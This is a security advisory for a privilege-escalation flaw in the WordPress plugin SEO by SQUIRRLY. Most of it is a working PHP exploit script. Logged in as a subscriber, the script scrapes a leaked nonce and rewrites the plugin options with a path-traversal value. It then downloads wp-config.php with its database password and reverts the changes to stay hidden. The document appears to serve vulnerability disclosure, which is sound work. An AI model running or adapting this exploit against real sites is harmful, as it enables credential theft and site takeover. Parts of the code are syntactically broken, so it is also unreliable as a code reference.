SEO by SQUIRRLY™ [Privilege Escalation]


Plugin SEO by SQUIRRLY™ lucks capabilities checks in many plugin administrative actions. This could allow any registered user to modify plugin settings passing arbitrary values, upload files etc.

In many, if not all, of plugin administrative action a nonce is required. This nonce is available to all registered users because it is printed on admin dashboard as a property of JS object sqQuery.

Some of the plugin actions are:

  • Update plugin options
  • Upload an img to be used as favicon or touchicon
  • Uploading images as a post’s featured
  • Get information regarding post SEO settings
  • …many more


In this exploit we change some settings in order to exploit another vulnerability wich leads to a path traversal (DWF-2016-87050) and together they allow us to download the wp-config.php file.

#!/usr/bin/env php
 * SEO by SQUIRRLY™ - Privilege Escalation Exploit
 * This exploit will update the appropriate options in order to
 * download wp-config.php file. To do this it needs a user
 * with subscriber access.
 * Author: Panagiotis Vagenas <>
 * To install deps run `composer install`

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\WPAuthentication;
use Wordfence\ExKit\WPNonce;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
	Cli::writeError( 'You must enter a valid URL' );

$c = new Requests_Cookie_Jar(['XDEBUG_SESSION'=>'VVVDEBUG']);
$session = new \Requests_Session(null, [], [], ['cookies'=>$c]);

WPAuthentication::logInAsUserRole($session, WPAuthentication::USER_ROLE_SUBSCRIBER);

// Get the nonce from the admin dashboard
$nonce = WPNonce::findOnPage($session, Endpoint::adminBaseURL(), '/\s*var sqQuery[\w\W]+?"nonce":\s*"([a-f0-9]+)"/');
	Cli::writeError('Unable to get the nonce');

// we are going to update the options `sq_use` and `favicon`
// first take a backup of the settings
$getSettingsUrl = Endpoint::adminBaseURL() . "/index.php?action=sq_backup&nonce={$nonce}";
$base64Settings = $session->get($getSettingsUrl);
if($base64Settings->body=='Invalid request!'){
	Cli::writeError('Target doesn\'t seem to be exploitable, exploit failed during exporting plugin options');

Cli::writeSuccess('Options file downloaded...');
// we have the options, now change the desired values in order to read wp-config.php on next request
$oldOptions = $base64Settings->body;
$options = json_decode(base64_decode($oldOptions));
$options->sq_use = 1;
// we don't pass the whole file name in order to avoid some firewalls
// the ext will be set later when requesting the touchicon
$options->favicon = '/../../../wp-config.';

// form new options payload
global $newOptions;
$newOptions = base64_encode(json_encode($options));

Cli::writeInfo('Uploading modified options...');
// upload the modified settings
$hooks = new \Requests_Hooks();
$hooks->register('curl.before_send', 'file_upload');

$setSettingsUrl = Endpoint::adminBaseURL() . "/index.php?action=sq_restore&nonce={$nonce}";
$r = $session->post($setSettingsUrl, ['Content-Type' => 'multipart/form-data; boundary=__FORM_BOUNDARY__'], [], ['hooks' => $hooks]);

if(strpos($r->body, 'Great! The backup is restored') === false){
	Cli::writeError('Something went wrong during options update, check your input');

Cli::writeSuccess('Options updated, time to get the wp-config.php');
// Now the options are updated, we can download the wp-config.php simply by requesting the touchicon
$getConfigUrl = Endpoint::baseURL().'/?sq_get=touchicon&sq_size=php';
$r = $session->get($getConfigUrl);
if(!$r->body || strpos($r->body, 'DB_PASSWORD') === false){
	Cli::writeError("Couldn't get the file, try to adjust the path or check for a firewall path");

// change options back to default values, love to be as stealth as possible
Cli::writeSuccess('Exploit successful, changing options back to previous values');
$newOptions = $oldOptions;
$session->post($setSettingsUrl, ['Content-Type' => 'multipart/form-data; boundary=__FORM_BOUNDARY__'], [], ['hooks' => $hooks]);

Cli::writeSuccess('The actual contents of the wp-config.php file');

function file_upload($fp)
	global $newOptions;
	$payload = [
		'Content-Disposition: form-data; name="sq_options"; filename="sq_options"',
		'Content-Type: application/octet-stream',
	curl_setopt($fp, CURLOPT_POSTFIELDS, implode(CRLF, $payload));